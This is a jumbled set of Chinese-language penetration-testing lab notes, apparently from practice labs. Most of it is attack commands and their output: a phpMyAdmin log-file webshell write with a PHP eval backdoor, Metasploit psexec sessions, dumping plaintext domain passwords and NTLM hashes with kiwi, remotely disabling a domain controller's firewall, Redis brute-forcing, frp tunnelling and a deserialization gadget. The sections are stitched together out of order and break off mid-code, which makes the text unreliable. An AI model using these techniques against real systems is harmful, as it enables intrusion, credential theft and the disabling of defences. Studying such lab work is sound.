public $dbtype ='mysqli';
public $host ='localhost';
public $user ='testuser';
public $password ='cvcvgjASD!@';
public $db ='joomla';
public $dbprefix ='am2zu_';
run post/multi/manage/autoroute
background
use auxiliary/server/socks_proxy
run
使用jobs即可查看
msf6 auxiliary(server/socks_proxy) > jobs
Jobs
Id Name Payload Payload opts
0 Auxiliary: server/socks_proxy
内网
内网存活探测
☁ workspace sudo proxychains4 nmap -sn -PE 192.168.93.1/24
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 17:05 CST
Nmap scan report for 192.168.93.1
Host is up (0.0016s latency).
Nmap scan report for 192.168.93.10
Host is up (0.0018s latency).
Nmap scan report for 192.168.93.20
Host is up (0.0033s latency).
Nmap scan report for 192.168.93.30
Host is up (0.0015s latency).
Nmap scan report for 192.168.93.100
Host is up (0.0017s latency).
Nmap scan report for 192.168.93.120
Host is up (0.0050s latency).
Nmap done: 256 IP addresses (6 hosts up) scanned in 1.56 seconds
内网web机器
扫一下那台内网web机器,9191端口应该是我刚刚用蚁剑的后渗透插件启动的bind-shell
☁ workspace sudo proxychains4 nmap -Pn -sT 192.168.93.120 -p22,80,3306,9191 --min-rate=5000[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/local/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 17:12 CST
Nmap scan report for 192.168.93.120
Host is up (0.031s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
9191/tcp closed sun-as-jpda
☁ workspace sudo proxychains4 nmap -Pn -sT 192.168.93.20 -p80,135,139,445,1433,2383,47001,49152,49153,49154,49155,49156,49158 -A --min-rate=10000[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 18:56 CST
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 46.15% done; ETC: 18:59 (0:01:22 remaining)Nmap scan report for 192.168.93.20
Host is up (0.0079s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn?
445/tcp open microsoft-ds Windows Server (R)2008 Datacenter 6003 Service Pack 2 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 10.00.1600.00; RTM
| ms-sql-info:
| 192.168.93.20\MSSQLSERVER:
| Instance name: MSSQLSERVER
| Version:
| name: Microsoft SQL Server 2008 RTM
| number: 10.00.1600.00
| Product: Microsoft SQL Server 2008| Service pack level: RTM
| Post-SP patches applied: false
| TCP port: 1433|_ Clustered: false
| ms-sql-ntlm-info:
| 192.168.93.20\MSSQLSERVER:
| Target_Name: TEST
| NetBIOS_Domain_Name: TEST
| NetBIOS_Computer_Name: WIN2008
| DNS_Domain_Name: test.org
| DNS_Computer_Name: win2008.test.org
| DNS_Tree_Name: test.org
|_ Product_Version: 6.0.6003
|_ssl-date: 2024-10-08T11:00:20+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2019-12-15T05:29:23
|_Not valid after: 2049-12-15T05:29:23
2383/tcp open ms-olap4?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.94SVN%I=7%D=10/8%Time=67050FFA%P=x86_64-pc-linux-gnu%r(SF:GetRequest,5,"\x83\0\0\x01\x8f");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: WIN2008, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:ab:44:ec (VMware)|_clock-skew: mean: -1h36m00s, deviation: 3h34m37s, median: -1s
| smb-os-discovery:
| OS: Windows Server (R)2008 Datacenter 6003 Service Pack 2(Windows Server (R)2008 Datacenter 6.0)| OS CPE: cpe:/o:microsoft:windows_server_2008::sp2
| Computer name: win2008
| NetBIOS computer name: WIN2008\x00| Domain name: test.org
| Forest name: test.org
| FQDN: win2008.test.org
|_ System time: 2024-10-08T18:58:24+08:00
| smb2-time:
|_ start_date: 2019-12-14T11:49:34
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)| smb2-security-mode:
| 2:0:2:
|_ Message signing enabled but not required
TRACEROUTE (using proto 1/icmp)HOP RTT ADDRESS
1 0.84 ms 192.168.3.2
2 1.19 ms 192.168.93.20
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 211.63 seconds
等其他两个nmap扫描的时候,才发现我忘了上内网神器fscan了….
[root@localhost tmp]# ./fscan -h 192.168.93.10start infoscan
192.168.93.10:445 open
192.168.93.10:139 open
192.168.93.10:135 open
192.168.93.10:88 open
[*] alive ports len is: 4start vulscan
[*] NetInfo
[*]192.168.93.10
[->]WIN-8GA56TNV3MV
[->]192.168.93.10
[*] OsInfo 192.168.93.10 (Windows Server 2012 R2 Datacenter 9600)[*] NetBios 192.168.93.10 [+] DC:WIN-8GA56TNV3MV.test.org Windows Server 2012 R2 Datacenter 9600[root@localhost tmp]# ./fscan -h 192.168.93.20start infoscan
192.168.93.20:1433 open
192.168.93.20:445 open
192.168.93.20:139 open
192.168.93.20:135 open
192.168.93.20:80 open
[*] alive ports len is: 5start vulscan
[*] NetInfo
[*]192.168.93.20
[->]win2008
[->]192.168.93.20
[*] WebTitle http://192.168.93.20 code:404 len:315 title:Not Found
[*] NetBios 192.168.93.20 win2008.test.org Windows Server (R)2008 Datacenter 6003 Service Pack 2[*] OsInfo 192.168.93.20 (Windows Server (R)2008 Datacenter 6003 Service Pack 2)已完成 5/5
[*] 扫描结束,耗时: 1.224541199s
[root@localhost tmp]# ./fscan -h 192.168.93.30start infoscan
192.168.93.30:445 open
192.168.93.30:139 open
192.168.93.30:135 open
[*] alive ports len is: 3start vulscan
[*] NetInfo
[*]192.168.93.30
[->]win7
[->]192.168.93.30
[*] OsInfo 192.168.93.30 (Windows 7 Professional 7601 Service Pack 1)已完成 3/3
另外两台机器最终放弃掉nmap的扫描了,太慢了
总结一下
test.org域内
192.168.93.10 win2012 DC
192.168.93.20 win2008
另外有一台机器不在TEST域内
192.168.93.30 win7
set rhosts 192.168.93.20,30
rhosts => 192.168.93.20,30
msf6 exploit(windows/smb/psexec) > run
[*] Exploiting target 192.168.93.20
[*] 192.168.93.20:445 - Connecting to the server...
[*] 192.168.93.20:445 - Authenticating to 192.168.93.20:445 as user 'administrator'...
[*] 192.168.93.20:445 - Selecting PowerShell target
[*] 192.168.93.20:445 - Executing the payload...
[+] 192.168.93.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.93.20:4444
[*] Sending stage (201798 bytes) to 192.168.93.20
[*] Meterpreter session 7 opened (192.168.3.100:39039 -> 192.168.93.20:4444) at 2024-10-08 19:47:02 +0800
[*] Session 7 created in the background.
[*] Exploiting target 192.168.93.30
[*] 192.168.93.30:445 - Connecting to the server...
[*] 192.168.93.30:445 - Authenticating to 192.168.93.30:445 as user 'administrator'...
[*] 192.168.93.30:445 - Selecting PowerShell target
[*] 192.168.93.30:445 - Executing the payload...
[+] 192.168.93.30:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.93.30:4444
[*] Sending stage (201798 bytes) to 192.168.93.30
[*] Meterpreter session 8 opened (192.168.3.100:42267 -> 192.168.93.30:4444) at 2024-10-08 19:47:07 +0800
[*] Session 8 created in the background.
msf6 exploit(windows/smb/psexec) > sessions
Active sessions
=============== Id Name Type Information Connection
-- ---- ---- ----------- ----------
7 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN2008 192.168.3.100:39039 -> 192.168.93.20:4444 (192.168.93.20)8 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN7 192.168.3.100:42267 -> 192.168.93.30:4444 (192.168.93.30)
kiwi模块获取DC凭据
还剩下一个域控机器,先进入win2008的会话中,加载一下kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============Username Domain LM NTLM SHA1
-------- ------ -- ---- ----
Administrator TEST fc5d63d71569f04399b419bc76e2eb34 18edd0cc3227be3bf61ce198835a1d97 0f058e319f079c15fe3449bbeffc086cfa4d231e
Administrator WIN2008 ae946ec6f4ca785b93371dee1d5ee7e6 31c1794c5aa8547c87a8bcd0324b8337 128c0272959b85b330090611169d07d85cb6bd0b
WIN2008$ TEST c47b1f47431b259861e615472864c698 5a09ade7dca624916c39473fd609c22302dd33bc
wdigest credentials
===================Username Domain Password
-------- ------ --------
(null)(null)(null)Administrator TEST zxcASDqw123!!
Administrator WIN2008 123qwe!ASD
WIN2008$ TEST 94 1f 0844 5a 0c 6d 4d dd a9 9d 09 7a d0 72 bb e9 8169 7e 96 9f 7874 f2 9e d3 f2 9874 7a 2f 49 4e b7 1801 e5 9475 8f 571144 d4 31179225 2a d4 9673369587 ec 34 e8 9674 8f b6 0a ef 0517 af 2e 5b 08 f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 81170996 f6 75 b5 0d
c1 e1 6107 d2 a8 99 e5 5f 7d e9 0c 76 a3 7e 51 e5 f1 d0 f0 da c5 0c 88 d0 1c 5934 b9 3e 14 ab a1 7b 56 cd 9d 67 d3 19 c7 ad d9 b2 8d 72 e9
2a c2 d0 be ff e7 e7 d2 6085 9a 9974 8c d5 0a b5 1c 583128 de 15513658 8a da 3a db 61 5d be f9 d5 b8 a8 5c fe 1906 f6 ac ac 26 6d 2280 e3 f4 f6 49 f8 9278 9b a7 36 6d f7 c4 10 a3 8e 1983 c5 84 ff 3f fc 9c 3581 2d 3542 8a 30 5a 7e ca ee 3f 50 0b c8 c6 68 a8 24 cc c0 52 5e b8 3730 b7
tspkg credentials
=================Username Domain Password
-------- ------ --------
Administrator TEST zxcASDqw123!!
Administrator WIN2008 123qwe!ASD
kerberos credentials
====================Username Domain Password
-------- ------ --------
(null)(null)(null)Administrator TEST.ORG zxcASDqw123!!
Administrator WIN2008 123qwe!ASD
win2008$ TEST.ORG 94 1f 0844 5a 0c 6d 4d dd a9 9d 09 7a d0 72 bb e9 8169 7e 96 9f 7874 f2 9e d3 f2 9874 7a 2f 49 4e b7 1801 e5 9475 8f 571144 d4 31179225 2a d4 9673369587 ec 34 e8 9674 8f b6 0a ef 0517 af 2e 5b 08 f7 6c 4e ad 9c 3e b0 e1 c8 2f 8f bd e3 b2 e7 81170996 f6 75 b5 0 d c1 e1 6107 d2 a8 99 e5 5f 7d e9 0c 76 a3 7e 51 e5 f1 d0 f0 da c5 0c 88 d0 1c 5934 b9 3e 14 ab a1 7b 56 cd 9d 67 d3 19 c7 ad d9 b2 8d 72 e9 2a c2 d0 be ff e7 e7 d2 6085 9a 9974 8c d5 0a b5 1c 583128 de 15513658 8a da 3a db 61 5d be f9 d5 b8 a8 5c fe 1906 f6 ac ac 26 6d
2280 e3 f4 f6 49 f8 9278 9b a7 36 6d f7 c4 10 a3 8e 1983 c5 84 ff 3f fc 9c 3581 2d 3542 8a 30 5a 7e ca ee 3f 50 0b c8 c6 68 a8 24 cc c
052 5e b8 3730 b7
meterpreter >
接下来就是尝试登录域控
关闭域控防火墙并拿到session
这里先使用win7的session来关闭win2012域控机器的防火墙
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:"Administrator"sc \\192.168.93.10 create unablefirewall binpath="netsh advfirewall set allprofiles state off"sc \\192.168.93.10 start unablefirewall
web 192.168.3.80
pc 192.168.3.201
win 192.168.3.99
wsl kali 192.168.3.100
外网
信息收集
先处理web机器
端口扫描出来了不少端口,使用awk做一下处理,提取一下
awk -F '/''BEGIN {ORS=","} {print $1}' a.txt
进行-A扫描
⇒ sudo nmap -Pn -sT 192.168.3.80 -p80,135,139,445,1433,3389,7001,49152,49153,49154,60966,63624,63632,63634 -A --min-rate=5000Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 19:40 EDT
Nmap scan report for 192.168.3.80
Host is up (0.00057s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T03:49:00
|_Not valid after: 2054-09-28T03:49:00
| ms-sql-ntlm-info:
| 192.168.3.80:1433:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
| ms-sql-info:
| 192.168.3.80:1433:
| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| number: 10.50.4000.00
| Product: Microsoft SQL Server 2008 R2
| Service pack level: SP2
| Post-SP patches applied: false
|_ TCP port: 14333389/tcp open ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Not valid before: 2024-09-27T03:21:26
|_Not valid after: 2025-03-29T03:21:26
|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
| Product_Version: 6.1.7601
|_ System_Time: 2024-09-28T23:42:27+00:00
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)|_http-title: Error 404--Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
60966/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| 192.168.3.80:60966:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ms-sql-info:
| 192.168.3.80:60966:
| Version:
| name: Microsoft SQL Server 2008 R2 SP2
| number: 10.50.4000.00
| Product: Microsoft SQL Server 2008 R2
| Service pack level: SP2
| Post-SP patches applied: false
|_ TCP port: 60966| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T03:49:00
|_Not valid after: 2054-09-28T03:49:00
|_ssl-date: 2024-09-28T23:42:32+00:00; 0s from scanner time.
63624/tcp open msrpc Microsoft Windows RPC
63632/tcp open msrpc Microsoft Windows RPC
63634/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:29:42:36:4C (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows Vista|7|8.1
OS CPE: cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista, Windows 7 SP1, or Windows 8.1 Update 1Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-28T23:42:27
|_ start_date: 2024-09-28T03:48:57
|_nbstat: NetBIOS name: WEB, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:42:36:4c (VMware)| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)|_clock-skew: mean: -53m19s, deviation: 2h39m59s, median: 0s
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1(Windows Server 2008 R2 Standard 6.1)| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WEB
| NetBIOS computer name: WEB\x00| Domain name: de1ay.com
| Forest name: de1ay.com
| FQDN: WEB.de1ay.com
|_ System time: 2024-09-29T07:42:27+08:00
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
TRACEROUTE
HOP RTT ADDRESS
1 0.57 ms 192.168.3.80
index.php// If we have a valid target, let's load that script instead
if (!empty($_REQUEST['target'])
&&is_string($_REQUEST['target'])
&&!preg_match('/^index/', $_REQUEST['target'])
&&!in_array($_REQUEST['target'], $target_blacklist)
&&Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
# 黑名单
$target_blacklist =array (
'import.php', 'export.php');
[~/workspace]$ sudo arp-scan -I eth5 -l
Interface: eth5, type: EN10MB, MAC: f6:39:4a:3d:95:18, IPv4: 192.168.71.99
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)192.168.71.79 00:0c:29:a7:c1:b2 VMware, Inc.
192.168.71.244 ca:a7:78:4d:50:e1 (Unknown: locally administered)2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.108 seconds (121.44 hosts/sec). 2 responded
使用nmap来扫描一下这个主机
➜ workspace sudo nmap -sS -Pn 192.168.71.79 -p- --min-rate=5000Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:26 CST
Nmap scan report for 192.168.247.79
Host is up (0.00054s latency).
Not shown: 65533 filtered tcp ports (no-response)PORT STATE SERVICE
80/tcp open http
3306/tcp open mysql
MAC Address: 00:0C:29:A7:C1:B2 (VMware)➜ workspace sudo nmap -sT -Pn 192.168.71.79 -p80,3306 -A --min-rate=5000Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:29 CST
Nmap scan report for 192.168.247.79
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x882014|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
3306/tcp open mysql MySQL (unauthorized)MAC Address: 00:0C:29:A7:C1:B2 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: phone|specialized|general purpose
Running (JUST GUESSING): Microsoft Windows Phone|7|8.1|2008|Vista (96%)OS CPE: cpe:/o:microsoft:windows cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8
Aggressive OS guesses: Microsoft Windows Phone 7.5 or 8.0 (96%), Microsoft Windows Embedded Standard 7(96%), Microsoft Windows 8.1 R1 (94%), Microsoft Windows Server 2008 or 2008 Beta 3(92%), Microsoft Windows Server 2008 R2 or Windows 8.1 (92%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7(92%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008(92%), Microsoft Windows 7 Professional or Windows 8(91%), Microsoft Windows Server 2008 SP1 (89%), Microsoft Windows 7(89%)No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
再对mysql扫一下
➜ workspace sudo nmap -sS -Pn 192.168.71.79 -p3306 --script="*sql*" --min-rate=5000Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 16:31 CST
Nmap scan report for 192.168.247.79
Host is up (0.00034s latency).
PORT STATE SERVICE
3306/tcp open mysql
|_mysql-empty-password: Host '192.168.247.149' is not allowed to connect to this MySQL server
| mysql-enum:
| Accounts: No valid accounts found
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-brute:
| Accounts: No valid accounts found
|_ Statistics: Performed 50009 guesses in 24 seconds, average tps: 2012.9
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
phpmyadmin弱口令+日志写入Getshell
进去之后是phpstudy页面,数据库这里使用root,root测试成功
尝试在外面连接,连不上去
➜ workspace mysql -h 192.168.71.79 -u root -p
Enter password:
扫目录发现存在phpmyadmin,phpstudy这玩意集成了phpmyadmin
这里的secure_file_priv=NULL,不允许导入导出,所以不能直接写入shell
再尝试一下通过日志Getshell的方法
SHOW VARIABLES LIKE ‘%general_log%’
启用日志功能,然后修改日志文件路径,这里的绝对路径是在php探针里面泄露的
set global general_log = on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
select"<?php @eval($_POST['123']);?>"
使用蚁剑连接,拿到shell
yxcms后台修改模板Getshell
以学习为主,phpmyadmin拿到shell之后,再看看有没有其他的拿shell的方法吧
查看路径,发现有个yxcms,进去看看
这都不用搜索了,前台模板这个位置大概率能执行php代码
找到这个layout.php,这个文件是每个页面都需要包含的,所以在这里写入webshell
可以连接
这个cms里面也有sql执行,就不看了
内网渗透
信息收集
域渗透信息收集checklist
ipconfig /all # 查看本机ip，所在域 route print # 打印路由信息 net view # 查看局域网内其他主机名 arp -a # 查看arp缓存 net start # 查看开启了哪些服务 net share # 查看开启了哪些共享 net share ipc$ # 开启ipc共享 net share c$ # 开启c盘共享 net use \\192.168.xx.xx\ipc$ "" /user:""# 与192.168.xx.xx建立空连接 net use \\192.168.xx.xx\c$ "密码" /user:"用户名"# 建立c盘共享 dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组（通常会有域用户） net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作） net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器（可能有多台）
msf6 post(windows/gather/arp_scanner) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check p
er host
DELAY 0 yes The delay between connections, per thread
, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by
which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS yes The target host(s), see https://docs.meta
sploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
THREADS 1 yes The number of concurrent threads (max one
per host) TIMEOUT 1000 yes The socket connect timeout in millisecond
s
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.52.138
RHOSTS => 192.168.52.138
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.52.138: - 192.168.52.138:53 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:80 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:88 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:139 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:135 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:389 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:445 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:464 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:593 - TCP OPEN
[+] 192.168.52.138: - 192.168.52.138:636 - TCP OPEN
445端口是开放的,扫一下永恒之蓝
ms17_010永恒之蓝
这里可以确定域控机器上是有永恒之蓝的
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.52.138:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (64-bit)[*] 192.168.52.138:445 - Scanned 1 of 1 hosts
192.168.122.102 wsl kali
192.168.100.2 shiro
192.168.100.3 thinkphp
现在的网络环境为
|600
接下来需要配置端口转发了,这个我没啥经验,用我wsl里面装过的frp吧
wsl kali
l1uyun workspace/frp » ./frps -c frps.toml
2024-08-19 09:57:33.478 [I][frps/root.go:105] frps uses config file: frps.toml
2024-08-19 09:57:33.613 [I][server/service.go:237] frps tcp listen on 0.0.0.0:7000
2024-08-19 09:57:33.613 [I][frps/root.go:114] frps started successfully
2024-08-19 09:59:30.950 [I][server/service.go:576][f73e9824ff9889ea] client login info: ip [192.168.122.101:60698] version [0.59.0] hostname [] os [linux] arch [amd64]2024-08-19 09:59:30.951 [I][proxy/tcp.go:82][f73e9824ff9889ea][shiro] tcp proxy listen port [9999]2024-08-19 09:59:30.951 [I][server/control.go:399][f73e9824ff9889ea] new proxy [shiro] type [tcp] success
2024-08-19 09:59:45.095 [I][proxy/proxy.go:115][f73e9824ff9889ea][shiro] proxy closing
shiro
root@653a3ab3924e:/tmp# ./frpc -c shiro.toml
2024-08-19 01:59:30.648 [I][sub/root.go:142] start frpc service for config file [shiro.toml]2024-08-19 01:59:30.648 [I][client/service.go:294] try to connect to server...
2024-08-19 01:59:30.652 [I][client/service.go:286][f73e9824ff9889ea] login to server success, get run id [f73e9824ff9889ea]2024-08-19 01:59:30.652 [I][proxy/proxy_manager.go:173][f73e9824ff9889ea] proxy added: [shiro]2024-08-19 01:59:30.653 [I][client/control.go:168][f73e9824ff9889ea][shiro] start proxy success
serverAddr = "192.168.122.102"serverPort = 7000[[proxies]]
name = "kali2tp"type = "tcp"remotePort = 9998[proxies.plugin]
type = "socks5"
配完之后
配置一下proxychains
redis
使用proxychains来实现使用代理
☁ workspace sudo proxychains4 nmap -sT -Pn 10.85.101.2 -p6379 --script="*redis*"[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 11:01 CST
[proxychains] Strict chain ... 192.168.122.102:9998 ... 10.85.101.2:6379 ... OK
Nmap scan report for 10.85.101.2
Host is up (0.0028s latency).
PORT STATE SERVICE
6379/tcp open redis
|_redis-info: ERROR: Script execution failed (use -d to debug)| redis-brute:
| Accounts:
| 12345 - Valid credentials
|_ Statistics: Performed 5 guesses in 1 seconds, average tps: 5.0
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
有个弱口令
└[~/workspace]> sudo proxychains4 redis-cli -h 10.85.101.2 -p 6379 -a 12345[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
[proxychains] Strict chain ... 192.168.122.102:9998 ... 10.85.101.2:6379 ... OK
10.85.101.2:6379> PINg
PONG
10.85.101.2:6379> KEYS *
(empty array)10.85.101.2:6379>
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler =new SilentURLStreamHandler();
HashMap ht =new HashMap(); // HashMap that will contain the URL URL u =new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.return ht;
}
staticclassSilentURLStreamHandlerextends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
returnnull;
}
protectedsynchronized InetAddress getHostAddress(URL u) {
returnnull;
}
}
privatevoidwriteObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
跟入internalWriteEntries
voidinternalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) !=null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e !=null; e = e.next) {
